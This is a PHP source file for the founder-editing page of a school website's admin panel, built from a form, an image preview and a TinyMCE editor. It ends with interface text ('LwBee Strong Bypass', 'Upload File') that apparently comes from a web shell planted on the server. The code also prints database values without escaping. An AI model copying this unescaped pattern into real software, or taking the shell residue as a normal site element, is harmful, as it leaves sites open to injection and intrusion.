/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/founder_edit.php
<?php
include('include/header.php');
if(!empty($_GET['edit']))
{
$select_founder = founder_data($_GET['edit']);
$row = mysqli_fetch_array($select_founder);
}
?>
<main id="main" class="main">
<div class="pagetitle">
<h1>Apple IIT Schools</h1>
<nav>
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="index.php">Home</a></li>
<li class="breadcrumb-item">Founder</li>
</ol>
</nav>
</div>
<section class="section">
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-body">
<h5 class="card-title">Add Founder</h5>
<?php
if(!empty($_POST['submit'])){
founder_update();
}
?>
<form method="post" enctype="multipart/form-data">
<div class="row">
<div class="col-md-8 mt-4">
<label for="exampleInputEmail1" class="form-label">Name</label>
<input type="text" class="form-control" id="Name" value="<?= $row['name']?>" name="Name" required placeholder="Enter Name">
</div>
<div class="col-md-8 mt-4">
<label for="exampleInputEmail1" class="form-label">Image</label>
<img id="image_preview1" src="<?php echo $row['image']?>" style="height:100px;width:100px;" alt="Yor Image Preview" />
<input type="file" class="form-control" id="image" name="image">
<input type="hidden" name="file_image" value="<?= $row['image']?>">
</div>
<div class="col-md-8 mt-4">
<label for="exampleInputEmail1" class="form-label">Content</label>
<textarea class="form-control textarea-tiny" name="content" id="content"><?= $row['content']?></textarea>
</div>
<input type="hidden" name="edit_data" value="<?= $row['id']?>">
<div class="mt-4">
<input type="submit" class="btn" value="Update" name="submit" style="background-color: #69F0AE; color: #000000;">
<a href="banner_report.php" style="background-color:#7E57C2; color: #ffff;" class="btn">Back</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</section>
</main><!-- End #main -->
<!-- <script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> -->
<script>
function readURL1(input) {
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function(e) {
$('#image_preview1').attr('src', e.target.result);
}
reader.readAsDataURL(input.files[0]);
}
}
$("#image").change(function() {
readURL1(this);
});
</script>
<script>
function confirmDelete(feeid)
{
if (feeid != '') {
var x = confirm('Are you sure to Delete?');
if(x){
$.ajax({
url : "delete.php",
data : {feeid : feeid},
type : 'POST',
success : function(response) {
if(response ==1){
window.location.href = "fee_type.php";
}
}
});
}
}
}
</script>
<?php include('include/footer.php'); ?>
<script src="https://cloud.tinymce.com/5/tinymce.min.js"></script>
<script>
tinymce.init({
selector: '.textarea-tiny',
height: 500,
menubar: false,
width: '100%',
plugins: [
// 'advlist autolink lists link image charmap print preview anchor textcolor',
// 'searchreplace visualblocks code fullscreen',
// 'insertdatetime media table paste code help wordcount'
'advlist autolink lists link image charmap print preview hr anchor pagebreak',
'searchreplace wordcount visualblocks visualchars code fullscreen',
'insertdatetime media nonbreaking save table contextmenu directionality',
'emoticons template paste textcolor colorpicker textpattern imagetools codesample toc'
],
toolbar: 'undo redo | formatselect | bold italic backcolor | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | removeformat | help',
image_advtab: true,
content_css: [
'//fonts.googleapis.com/css?family=Lato:300,300i,400,400i',
'//www.tiny.cloud/css/codepen.min.css'
]
});
</script>
<style>
div.mce-branding-powered-by{
display: none;
}
</style>
<style>
div.mce-branding-powered-by{
display: none;
}
</style>
@LwBee Strong Bypass
Upload File
Create New File